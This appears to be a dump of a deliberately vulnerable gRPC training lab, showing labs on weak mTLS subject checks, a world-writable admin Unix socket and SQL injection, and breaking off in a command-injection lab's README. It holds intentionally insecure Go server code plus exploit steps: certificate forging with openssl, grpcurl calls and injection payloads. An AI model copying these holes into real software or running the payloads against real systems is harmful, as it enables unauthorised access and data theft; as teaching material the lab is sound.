1 | syntax = "proto3";
2 |
3 | package partner;
4 |
5 | option go_package = "grpc-goat/labs/grpc-004-arbitary-mtls/server/proto";
6 |
7 | // PartnerAPI exposes partner integrations
8 | service PartnerAPI {
9 | // GetPartnerData returns sensitive partner information
10 | rpc GetPartnerData(PartnerDataRequest) returns (PartnerDataResponse);
11 | }
12 |
13 | message PartnerDataRequest {
14 | string partner_id = 1;
15 | string data_type = 2;
16 | }
17 |
18 | message PartnerDataResponse {
19 | bool success = 1;
20 | string message = 2;
21 | repeated PartnerInfo partners = 3;
22 | string flag = 4; // CTF flag for completing this challenge
23 | }
24 |
25 | message PartnerInfo {
26 | string partner_id = 1;
27 | string name = 2;
28 | string api_key = 3;
29 | string secret = 4;
30 | repeated string permissions = 5;
31 | }
32 |
--------------------------------------------------------------------------------
/labs/grpc-005-arbitary-mtls-withsubject/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/partner.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN go build -o partner-api main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates openssl
27 | WORKDIR /root/
28 |
29 | COPY --from=builder /app/partner-api .
30 |
31 | EXPOSE 8004
32 |
33 | CMD ["./partner-api"]
--------------------------------------------------------------------------------
/labs/grpc-005-arbitary-mtls-withsubject/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 005: mTLS with Subject Validation
2 |
3 | ## Vulnerability
4 | Partner API validates client certificate subject name but accepts any certificate with "goatpartner.local".
5 |
6 | ## Objective
7 | Generate a fake client certificate with the correct subject name "goatpartner.local" to access partner data.
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-005 .
13 | docker run -p 8005:8005 grpc-005
14 | ```
15 |
16 | ## Exploit
17 |
18 | ### Step 1: Generate a client certificate with the required subject name
19 | ```bash
20 | # Generate client private key
21 | openssl genrsa -out client.key 2048
22 |
23 | # Generate client certificate with the EXACT subject name required
24 | openssl req -new -key client.key -out client.csr -subj "/CN=goatpartner.local/O=AttackerCorp"
25 |
26 | # Generate self-signed client certificate
27 | openssl x509 -req -in client.csr -signkey client.key -out client.crt -days 365
28 | ```
29 |
30 | ### Step 2: Use the certificate to access partner data
31 | ```bash
32 | # Install grpcurl
33 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
34 |
35 | # Connect using the client certificate with correct subject name
36 | grpcurl -insecure -cert client.crt -key client.key -d '{
37 | "partner_id": "GOAT_PARTNER",
38 | "data_type": "all"
39 | }' localhost:8005 partner.PartnerAPI/GetPartnerData
40 | ```
41 |
42 | ## Impact
43 | Attackers can generate certificates with the required subject name and bypass partner authentication.
44 |
45 | ## Flag
46 | Successfully access partner data to get: `GRPC_GOAT{subject_validation_insufficient_for_mtls}`
47 |
48 | ## Mitigation
49 | Use proper CA-signed certificates with certificate pinning, not just subject name validation.
--------------------------------------------------------------------------------
/labs/grpc-005-arbitary-mtls-withsubject/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-005-arbitary-mtls-withsubject/server
2 |
3 | go 1.23
4 |
5 | require (
6 | google.golang.org/grpc v1.58.3
7 | google.golang.org/protobuf v1.31.0
8 | )
9 |
10 | require (
11 | github.com/golang/protobuf v1.5.3 // indirect
12 | golang.org/x/net v0.12.0 // indirect
13 | golang.org/x/sys v0.10.0 // indirect
14 | golang.org/x/text v0.11.0 // indirect
15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/labs/grpc-005-arbitary-mtls-withsubject/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "crypto/rand"
6 | "crypto/rsa"
7 | "crypto/tls"
8 | "crypto/x509"
9 | "crypto/x509/pkix"
10 | "encoding/pem"
11 | "log"
12 | "math/big"
13 | "net"
14 | "time"
15 |
16 | "google.golang.org/grpc"
17 | "google.golang.org/grpc/credentials"
18 | "google.golang.org/grpc/peer"
19 |
20 | pb "grpc-goat/labs/grpc-005-arbitary-mtls-withsubject/server/proto"
21 | )
22 |
23 | // unaryInterceptor logs client IP addresses and certificate info
24 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
25 | peer, ok := peer.FromContext(ctx)
26 | if ok {
27 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
28 |
29 | // Log client certificate info if available
30 | if tlsInfo, ok := peer.AuthInfo.(credentials.TLSInfo); ok {
31 | if len(tlsInfo.State.PeerCertificates) > 0 {
32 | cert := tlsInfo.State.PeerCertificates[0]
33 | log.Printf("Client cert: Subject=%s, Issuer=%s", cert.Subject, cert.Issuer)
34 | }
35 | }
36 | }
37 | return handler(ctx, req)
38 | }
39 |
40 | type partnerServer struct {
41 | pb.UnimplementedPartnerAPIServer
42 | }
43 |
44 | func newPartnerServer() *partnerServer {
45 | return &partnerServer{}
46 | }
47 |
48 | func (s *partnerServer) GetPartnerData(ctx context.Context, req *pb.PartnerDataRequest) (*pb.PartnerDataResponse, error) {
49 | log.Printf("Partner data request - Partner: %s, Type: %s", req.PartnerId, req.DataType)
50 |
51 | // VULNERABILITY: Validate client certificate subject name
52 | peer, ok := peer.FromContext(ctx)
53 | if !ok {
54 | return &pb.PartnerDataResponse{
55 | Success: false,
56 | Message: "No peer information available",
57 | }, nil
58 | }
59 |
60 | tlsInfo, ok := peer.AuthInfo.(credentials.TLSInfo)
61 | if !ok || len(tlsInfo.State.PeerCertificates) == 0 {
62 | return &pb.PartnerDataResponse{
63 | Success: false,
64 | Message: "No client certificate provided",
65 | }, nil
66 | }
67 |
68 | cert := tlsInfo.State.PeerCertificates[0]
69 | expectedSubject := "goatpartner.local"
70 |
71 | // INSECURE: Only checking subject CN, not validating against trusted CA
72 | if cert.Subject.CommonName != expectedSubject {
73 | log.Printf("Certificate validation failed: expected CN=%s, got CN=%s", expectedSubject, cert.Subject.CommonName)
74 | return &pb.PartnerDataResponse{
75 | Success: false,
76 | Message: "Invalid client certificate subject expected CN=goatpartner.local",
77 | }, nil
78 | }
79 |
80 | log.Printf("Certificate validation passed: CN=%s", cert.Subject.CommonName)
81 |
82 | // Return sensitive partner information (this should be restricted!)
83 | partners := []*pb.PartnerInfo{
84 | {
85 | PartnerId: "PARTNER_001",
86 | Name: "TechCorp Solutions",
87 | ApiKey: "tc_live_sk_1234567890abcdef",
88 | Secret: "tc_secret_xyz789",
89 | Permissions: []string{"read", "write", "admin"},
90 | },
91 | {
92 | PartnerId: "PARTNER_002",
93 | Name: "DataFlow Inc",
94 | ApiKey: "df_live_pk_fedcba0987654321",
95 | Secret: "df_secret_abc123",
96 | Permissions: []string{"read", "analytics"},
97 | },
98 | {
99 | PartnerId: "PARTNER_003",
100 | Name: "SecureBank API",
101 | ApiKey: "sb_live_key_999888777666",
102 | Secret: "sb_secret_banking_2024",
103 | Permissions: []string{"financial", "transactions", "admin"},
104 | },
105 | }
106 |
107 | return &pb.PartnerDataResponse{
108 | Success: true,
109 | Message: "Partner data retrieved successfully",
110 | Partners: partners,
111 | Flag: "GRPC_GOAT{subject_validation_insufficient_for_mtls}",
112 | }, nil
113 | }
114 |
115 | // generateSelfSignedCert creates a self-signed certificate
116 | func generateSelfSignedCert() (tls.Certificate, error) {
117 | priv, err := rsa.GenerateKey(rand.Reader, 2048)
118 | if err != nil {
119 | return tls.Certificate{}, err
120 | }
121 |
122 | template := x509.Certificate{
123 | SerialNumber: big.NewInt(1),
124 | Subject: pkix.Name{
125 | Organization: []string{"Partner API Corp"},
126 | Country: []string{"US"},
127 | Province: []string{""},
128 | Locality: []string{"San Francisco"},
129 | StreetAddress: []string{""},
130 | PostalCode: []string{""},
131 | },
132 | NotBefore: time.Now(),
133 | NotAfter: time.Now().Add(365 * 24 * time.Hour),
134 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
135 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
136 | IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
137 | DNSNames: []string{"localhost", "partner-api.local"},
138 | }
139 |
140 | certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
141 | if err != nil {
142 | return tls.Certificate{}, err
143 | }
144 |
145 | certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
146 | keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
147 |
148 | cert, err := tls.X509KeyPair(certPEM, keyPEM)
149 | if err != nil {
150 | return tls.Certificate{}, err
151 | }
152 |
153 | return cert, nil
154 | }
155 |
156 | func main() {
157 | lis, err := net.Listen("tcp", ":8005")
158 | if err != nil {
159 | log.Fatalf("Failed to listen: %v", err)
160 | }
161 |
162 | // Generate server certificate
163 | cert, err := generateSelfSignedCert()
164 | if err != nil {
165 | log.Fatalf("Failed to generate certificate: %v", err)
166 | }
167 |
168 | // VULNERABILITY: mTLS configuration that accepts ANY client certificate
169 | tlsConfig := &tls.Config{
170 | Certificates: []tls.Certificate{cert},
171 | // INSECURE: Require client certificates but don't verify them properly
172 | ClientAuth: tls.RequireAnyClientCert,
173 | // INSECURE: No client certificate verification
174 | InsecureSkipVerify: false,
175 | // INSECURE: Accept any client certificate without validation
176 | }
177 |
178 | creds := credentials.NewTLS(tlsConfig)
179 | s := grpc.NewServer(
180 | grpc.Creds(creds),
181 | grpc.UnaryInterceptor(unaryInterceptor),
182 | )
183 |
184 | pb.RegisterPartnerAPIServer(s, newPartnerServer())
185 |
186 | log.Println("Partner API gRPC server starting on port 8005...")
187 | log.Println("WARNING: mTLS validates subject name but accepts self-signed certificates!")
188 | log.Println("Attackers can generate certificates with subject 'goatpartner.local' to access partner data")
189 |
190 | if err := s.Serve(lis); err != nil {
191 | log.Fatalf("Failed to serve: %v", err)
192 | }
193 | }
194 |
--------------------------------------------------------------------------------
/labs/grpc-005-arbitary-mtls-withsubject/server/proto/partner.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package partner;
4 |
5 | option go_package = "grpc-goat/labs/grpc-005-arbitary-mtls-withsubject/server/proto";
6 |
7 | // PartnerAPI exposes partner integrations
8 | service PartnerAPI {
9 | // GetPartnerData returns sensitive partner information
10 | rpc GetPartnerData(PartnerDataRequest) returns (PartnerDataResponse);
11 | }
12 |
13 | message PartnerDataRequest {
14 | string partner_id = 1;
15 | string data_type = 2;
16 | }
17 |
18 | message PartnerDataResponse {
19 | bool success = 1;
20 | string message = 2;
21 | repeated PartnerInfo partners = 3;
22 | string flag = 4; // CTF flag for completing this challenge
23 | }
24 |
25 | message PartnerInfo {
26 | string partner_id = 1;
27 | string name = 2;
28 | string api_key = 3;
29 | string secret = 4;
30 | repeated string permissions = 5;
31 | }
32 |
--------------------------------------------------------------------------------
/labs/grpc-006-pipe-world-read-write/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/admin.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN go build -o admin-service main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates
27 |
28 | # Create a non-root user for demonstration
29 | RUN adduser -D -s /bin/sh normaluser
30 |
31 | WORKDIR /root/
32 |
33 | COPY --from=builder /app/admin-service .
34 |
35 | # Create the socket directory
36 | RUN mkdir -p /tmp
37 |
38 | # Expose the socket path as a volume
39 | VOLUME ["/tmp"]
40 |
41 | CMD ["./admin-service"]
42 |
--------------------------------------------------------------------------------
/labs/grpc-006-pipe-world-read-write/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 006: Unix Socket World Writable
2 |
3 | ## Vulnerability
4 | Admin gRPC service listening on Unix domain socket with world read/write permissions (0666).
5 |
6 | ## Objective
7 | Connect to the Unix socket as any user to access privileged admin functions.
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-006 .
13 | docker run -it --rm grpc-006 sh
14 |
15 | # In the container, the service will be running
16 | # Check socket permissions
17 | ls -la /tmp/grpc-admin.sock
18 | ```
19 |
20 | ## Exploit
21 |
22 | ### Step 1: Verify socket permissions
23 | ```bash
24 | # Check the socket permissions
25 | ls -la /tmp/grpc-admin.sock
26 | # Should show: srw-rw-rw- (world writable)
27 |
28 | # Check who can access it
29 | stat /tmp/grpc-admin.sock
30 | ```
31 |
32 | ### Step 2: Connect as any user
33 | ```bash
34 | # Install grpcurl in the container
35 | apk add --no-cache go
36 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
37 |
38 | # Connect via Unix socket to get system info
39 | grpcurl -plaintext -unix /tmp/grpc-admin.sock admin.AdminService/GetSystemInfo
40 |
41 | # Access admin command interface (shows privilege escalation)
42 | grpcurl -plaintext -unix /tmp/grpc-admin.sock -d '{
43 | "command": "whoami"
44 | }' admin.AdminService/ExecuteCommand
45 | ```
46 |
47 | ## Impact
48 | Any user on the system can connect to the admin service and execute privileged operations.
49 |
50 | ## Flag
51 | Successfully connect to get: `GRPC_GOAT{unix_socket_world_writable_privilege_escalation}`
52 |
53 | ## Mitigation
54 | Set proper socket permissions (0600) and validate client credentials.
--------------------------------------------------------------------------------
/labs/grpc-006-pipe-world-read-write/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-006-pipe-world-read-write/server
2 |
3 | go 1.23
4 |
5 | require (
6 | google.golang.org/grpc v1.58.3
7 | google.golang.org/protobuf v1.31.0
8 | )
9 |
10 | require (
11 | github.com/golang/protobuf v1.5.3 // indirect
12 | golang.org/x/net v0.12.0 // indirect
13 | golang.org/x/sys v0.10.0 // indirect
14 | golang.org/x/text v0.11.0 // indirect
15 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
16 | )
17 |
--------------------------------------------------------------------------------
/labs/grpc-006-pipe-world-read-write/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "log"
6 | "net"
7 | "os"
8 | "os/user"
9 |
10 | "google.golang.org/grpc"
11 | "google.golang.org/grpc/peer"
12 |
13 | pb "grpc-goat/labs/grpc-006-pipe-world-read-write/server/proto"
14 | )
15 |
16 | // unaryInterceptor logs client connections
17 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
18 | peer, ok := peer.FromContext(ctx)
19 | if ok {
20 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
21 | }
22 | return handler(ctx, req)
23 | }
24 |
25 | type adminServer struct {
26 | pb.UnimplementedAdminServiceServer
27 | }
28 |
29 | func newAdminServer() *adminServer {
30 | return &adminServer{}
31 | }
32 |
33 | func (s *adminServer) GetSystemInfo(ctx context.Context, req *pb.SystemInfoRequest) (*pb.SystemInfoResponse, error) {
34 | log.Printf("System info requested")
35 |
36 | // Get hostname
37 | hostname, _ := os.Hostname()
38 |
39 | // Get current user
40 | currentUser, _ := user.Current()
41 | username := currentUser.Username
42 |
43 | // Get working directory
44 | workingDir, _ := os.Getwd()
45 |
46 | // Get some environment variables
47 | envVars := []string{
48 | "PATH=" + os.Getenv("PATH"),
49 | "HOME=" + os.Getenv("HOME"),
50 | "USER=" + os.Getenv("USER"),
51 | "SHELL=" + os.Getenv("SHELL"),
52 | }
53 |
54 | return &pb.SystemInfoResponse{
55 | Success: true,
56 | Hostname: hostname,
57 | Username: username,
58 | WorkingDirectory: workingDir,
59 | EnvironmentVars: envVars,
60 | }, nil
61 | }
62 |
63 | func (s *adminServer) ExecuteCommand(ctx context.Context, req *pb.CommandRequest) (*pb.CommandResponse, error) {
64 | log.Printf("Command execution requested: %s %v", req.Command, req.Args)
65 |
66 | staticOutput := "GRPC_GOAT{unix_socket_world_writable_privilege_escalation}\nroot\n/root\nuid=0(root) gid=0(root) groups=0(root)"
67 |
68 | return &pb.CommandResponse{
69 | Success: true,
70 | Output: staticOutput,
71 | Error: "",
72 | ExitCode: 0,
73 | }, nil
74 | }
75 |
76 | func main() {
77 | socketPath := "/tmp/grpc-admin.sock"
78 |
79 | os.Remove(socketPath)
80 |
81 | lis, err := net.Listen("unix", socketPath)
82 | if err != nil {
83 | log.Fatalf("Failed to listen on Unix socket: %v", err)
84 | }
85 |
86 | err = os.Chmod(socketPath, 0666) // rw-rw-rw-
87 | if err != nil {
88 | log.Printf("Warning: Failed to set socket permissions: %v", err)
89 | }
90 |
91 | if info, err := os.Stat(socketPath); err == nil {
92 | log.Printf("Socket permissions: %s", info.Mode().Perm())
93 | }
94 |
95 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
96 | pb.RegisterAdminServiceServer(s, newAdminServer())
97 |
98 | log.Printf("Admin gRPC server starting on Unix socket: %s", socketPath)
99 | log.Printf("WARNING: Socket has world read/write permissions (0666)!")
100 | log.Printf("Any user on the system can connect and access admin functions")
101 |
102 | // Cleanup socket on exit
103 | defer func() {
104 | os.Remove(socketPath)
105 | }()
106 |
107 | if err := s.Serve(lis); err != nil {
108 | log.Fatalf("Failed to serve: %v", err)
109 | }
110 | }
111 |
--------------------------------------------------------------------------------
/labs/grpc-006-pipe-world-read-write/server/proto/admin.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package admin;
4 |
5 | option go_package = "grpc-goat/labs/grpc-006-pipe-world-read-write/server/proto";
6 |
7 | // AdminService provides privileged system operations
8 | service AdminService {
9 | // GetSystemInfo returns sensitive system information
10 | rpc GetSystemInfo(SystemInfoRequest) returns (SystemInfoResponse);
11 |
12 | // ExecuteCommand runs system commands (admin only)
13 | rpc ExecuteCommand(CommandRequest) returns (CommandResponse);
14 | }
15 |
16 | message SystemInfoRequest {
17 | // Empty request
18 | }
19 |
20 | message SystemInfoResponse {
21 | bool success = 1;
22 | string hostname = 2;
23 | string username = 3;
24 | string working_directory = 4;
25 | repeated string environment_vars = 5;
26 | }
27 |
28 | message CommandRequest {
29 | string command = 1;
30 | repeated string args = 2;
31 | }
32 |
33 | message CommandResponse {
34 | bool success = 1;
35 | string output = 2;
36 | string error = 3;
37 | int32 exit_code = 4;
38 | }
39 |
--------------------------------------------------------------------------------
/labs/grpc-007-sql-injection/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/user_directory.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN CGO_ENABLED=0 go build -o user-directory main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates
27 | WORKDIR /root/
28 |
29 | COPY --from=builder /app/user-directory .
30 |
31 | EXPOSE 8007
32 |
33 | CMD ["./user-directory"]
34 |
--------------------------------------------------------------------------------
/labs/grpc-007-sql-injection/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 007: SQL Injection
2 |
3 | ## Vulnerability
4 | User Directory service with SQL injection vulnerability in username search (read-only database for safety).
5 |
6 | ## Objective
7 | Exploit SQL injection to extract the flag user data.
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-007 .
13 | docker run -p 8007:8007 grpc-007
14 | ```
15 |
16 | ## Exploit
17 |
18 | ```bash
19 | # Install grpcurl
20 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
21 |
22 | # Normal search
23 | grpcurl -plaintext -d '{
24 | "username": "john"
25 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers
26 |
27 | # SQL injection to get all users
28 | grpcurl -plaintext -d '{
29 | "username": "' OR 1=1 --"
30 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers
31 |
32 | # Extract flag user specifically
33 | grpcurl -plaintext -d '{
34 | "username": "' OR username='flag_user' --"
35 | }' localhost:8007 userdirectory.UserDirectory/SearchUsers
36 | ```
37 |
38 | ## Impact
39 | Attackers can extract user data and discover hidden accounts.
40 |
41 | ## Flag
42 | Successfully exploit SQL injection to get: `GRPC_GOAT{sql_injection_data_exfiltration}`
43 |
44 | ## Mitigation
45 | Use parameterized queries to prevent SQL injection.
46 |
--------------------------------------------------------------------------------
/labs/grpc-007-sql-injection/server/go.mod:
--------------------------------------------------------------------------------
1 | module grpc-goat/labs/grpc-007-sql-injection/server
2 |
3 | go 1.23
4 |
5 | require (
6 | modernc.org/sqlite v1.27.0
7 | google.golang.org/grpc v1.58.3
8 | google.golang.org/protobuf v1.31.0
9 | )
10 |
11 | require (
12 | github.com/golang/protobuf v1.5.3 // indirect
13 | golang.org/x/net v0.12.0 // indirect
14 | golang.org/x/sys v0.10.0 // indirect
15 | golang.org/x/text v0.11.0 // indirect
16 | google.golang.org/genproto/googleapis/rpc v0.0.0-20230711160842-782d3b101e98 // indirect
17 | )
18 |
--------------------------------------------------------------------------------
/labs/grpc-007-sql-injection/server/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "database/sql"
6 | "fmt"
7 | "log"
8 | "net"
9 | "strings"
10 |
11 | "google.golang.org/grpc"
12 | "google.golang.org/grpc/peer"
13 | _ "modernc.org/sqlite"
14 |
15 | pb "grpc-goat/labs/grpc-007-sql-injection/server/proto"
16 | )
17 |
18 | // unaryInterceptor logs client connections
19 | func unaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) {
20 | peer, ok := peer.FromContext(ctx)
21 | if ok {
22 | log.Printf("Request from %s to %s", peer.Addr, info.FullMethod)
23 | }
24 | return handler(ctx, req)
25 | }
26 |
27 | type userDirectoryServer struct {
28 | pb.UnimplementedUserDirectoryServer
29 | db *sql.DB
30 | }
31 |
32 | func newUserDirectoryServer() *userDirectoryServer {
33 | // First create and populate the database
34 | setupDB, err := sql.Open("sqlite", "/tmp/users.db")
35 | if err != nil {
36 | log.Fatalf("Failed to create database: %v", err)
37 | }
38 |
39 | server := &userDirectoryServer{db: setupDB}
40 | server.initDatabase()
41 | setupDB.Close()
42 |
43 | // Now open in read-only mode
44 | db, err := sql.Open("sqlite", "file:/tmp/users.db?mode=ro")
45 | if err != nil {
46 | log.Fatalf("Failed to open read-only database: %v", err)
47 | }
48 |
49 | server.db = db
50 | return server
51 | }
52 |
53 | func (s *userDirectoryServer) initDatabase() {
54 | // Create users table
55 | createTable := `
56 | CREATE TABLE users (
57 | username TEXT PRIMARY KEY,
58 | email TEXT NOT NULL,
59 | role TEXT NOT NULL
60 | );`
61 |
62 | _, err := s.db.Exec(createTable)
63 | if err != nil {
64 | log.Fatalf("Failed to create table: %v", err)
65 | }
66 |
67 | // Insert sample data
68 | users := [][]string{
69 | {"john", "john@company.com", "user"},
70 | {"admin", "admin@company.com", "admin"},
71 | {"flag_user", "flag@company.com", "GRPC_GOAT{sql_injection_data_exfiltration}"},
72 | }
73 |
74 | for _, user := range users {
75 | insertSQL := `INSERT INTO users (username, email, role) VALUES (?, ?, ?)`
76 | _, err := s.db.Exec(insertSQL, user[0], user[1], user[2])
77 | if err != nil {
78 | log.Printf("Failed to insert user %s: %v", user[0], err)
79 | }
80 | }
81 |
82 | log.Println("Database initialized with sample data")
83 | }
84 |
85 | func (s *userDirectoryServer) SearchUsers(ctx context.Context, req *pb.SearchUsersRequest) (*pb.SearchUsersResponse, error) {
86 | log.Printf("Search users - Username: %s", req.Username)
87 |
88 | // VULNERABILITY: SQL injection - directly concatenating user input
89 | query := fmt.Sprintf("SELECT username, email, role FROM users WHERE username = '%s'", req.Username)
90 |
91 | log.Printf("Executing SQL: %s", query)
92 |
93 | rows, err := s.db.Query(query)
94 | if err != nil {
95 | log.Printf("SQL error: %v", err)
96 | return &pb.SearchUsersResponse{
97 | Success: false,
98 | }, nil
99 | }
100 | defer rows.Close()
101 |
102 | var users []*pb.UserInfo
103 | flag := ""
104 |
105 | for rows.Next() {
106 | var user pb.UserInfo
107 | err := rows.Scan(&user.Username, &user.Email, &user.Role)
108 | if err != nil {
109 | log.Printf("Scan error: %v", err)
110 | continue
111 | }
112 | users = append(users, &user)
113 |
114 | // Check if we found the flag user or flag in role
115 | if user.Username == "flag_user" || strings.Contains(user.Role, "GRPC_GOAT") {
116 | flag = "GRPC_GOAT{sql_injection_data_exfiltration}"
117 | }
118 | }
119 |
120 | return &pb.SearchUsersResponse{
121 | Success: true,
122 | Users: users,
123 | Flag: flag,
124 | }, nil
125 | }
126 |
127 | func main() {
128 | lis, err := net.Listen("tcp", ":8007")
129 | if err != nil {
130 | log.Fatalf("Failed to listen: %v", err)
131 | }
132 |
133 | s := grpc.NewServer(grpc.UnaryInterceptor(unaryInterceptor))
134 | pb.RegisterUserDirectoryServer(s, newUserDirectoryServer())
135 |
136 | log.Println("User Directory gRPC server starting on port 8007...")
137 | log.Println("WARNING: SQL injection vulnerability present!")
138 | log.Println("Database is read-only - safe for educational purposes")
139 | log.Println("Users: john, admin, flag_user")
140 |
141 | if err := s.Serve(lis); err != nil {
142 | log.Fatalf("Failed to serve: %v", err)
143 | }
144 | }
145 |
--------------------------------------------------------------------------------
/labs/grpc-007-sql-injection/server/proto/user_directory.proto:
--------------------------------------------------------------------------------
1 | syntax = "proto3";
2 |
3 | package userdirectory;
4 |
5 | option go_package = "grpc-goat/labs/grpc-007-sql-injection/server/proto";
6 |
7 | // UserDirectory provides employee profile management
8 | service UserDirectory {
9 | // SearchUsers searches for users by username (vulnerable to SQL injection)
10 | rpc SearchUsers(SearchUsersRequest) returns (SearchUsersResponse);
11 | }
12 |
13 | message SearchUsersRequest {
14 | string username = 1; // Username search (vulnerable parameter)
15 | }
16 |
17 | message SearchUsersResponse {
18 | bool success = 1;
19 | repeated UserInfo users = 2;
20 | string flag = 3; // Flag returned when SQL injection is successful
21 | }
22 |
23 | message UserInfo {
24 | string username = 1;
25 | string email = 2;
26 | string role = 3;
27 | }
28 |
--------------------------------------------------------------------------------
/labs/grpc-008-grpc-command-injection/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.23-alpine AS builder
2 |
3 | # Set Go environment
4 | ENV GOTOOLCHAIN=go1.23.4
5 |
6 | # Install protoc and plugins
7 | RUN apk add --no-cache protobuf-dev
8 | RUN go version
9 | RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.31.0
10 | RUN go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0
11 |
12 | WORKDIR /app
13 | COPY server/ .
14 |
15 | # Generate protobuf code
16 | RUN protoc --go_out=. --go_opt=paths=source_relative \
17 | --go-grpc_out=. --go-grpc_opt=paths=source_relative \
18 | proto/file_processor.proto
19 |
20 | # Build the application
21 | RUN go mod tidy
22 | RUN CGO_ENABLED=0 go build -o file-processor main.go
23 |
24 | # Final stage
25 | FROM alpine:latest
26 | RUN apk --no-cache add ca-certificates
27 |
28 | # Add demo files
29 | RUN echo "Sample document content" > /tmp/document.txt
30 | RUN echo "GRPC_GOAT{command_injection_file_listing}" > /tmp/flag.txt
31 | RUN echo "public file 1" > /tmp/public1.txt
32 | RUN echo "public file 2" > /tmp/public2.txt
33 |
34 | WORKDIR /root/
35 |
36 | COPY --from=builder /app/file-processor .
37 |
38 | EXPOSE 8008
39 |
40 | CMD ["./file-processor"]
--------------------------------------------------------------------------------
/labs/grpc-008-grpc-command-injection/Readme.md:
--------------------------------------------------------------------------------
1 | # Lab 008: Command Injection
2 |
3 | ## Vulnerability
4 | File Listing service with command injection vulnerability.
5 |
6 | ## Objective
7 | Exploit command injection in the ls command to read the flag file.
8 |
9 | ## Run the Lab
10 | ```bash
11 | # Build and run
12 | docker build -t grpc-008 .
13 | docker run -p 8008:8008 grpc-008
14 | ```
15 |
16 | ## Exploit
17 |
18 | ```bash
19 | # Install grpcurl
20 | go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
21 |
22 | # Normal directory listing
23 | grpcurl -plaintext -d '{
24 | "directory": "/tmp"
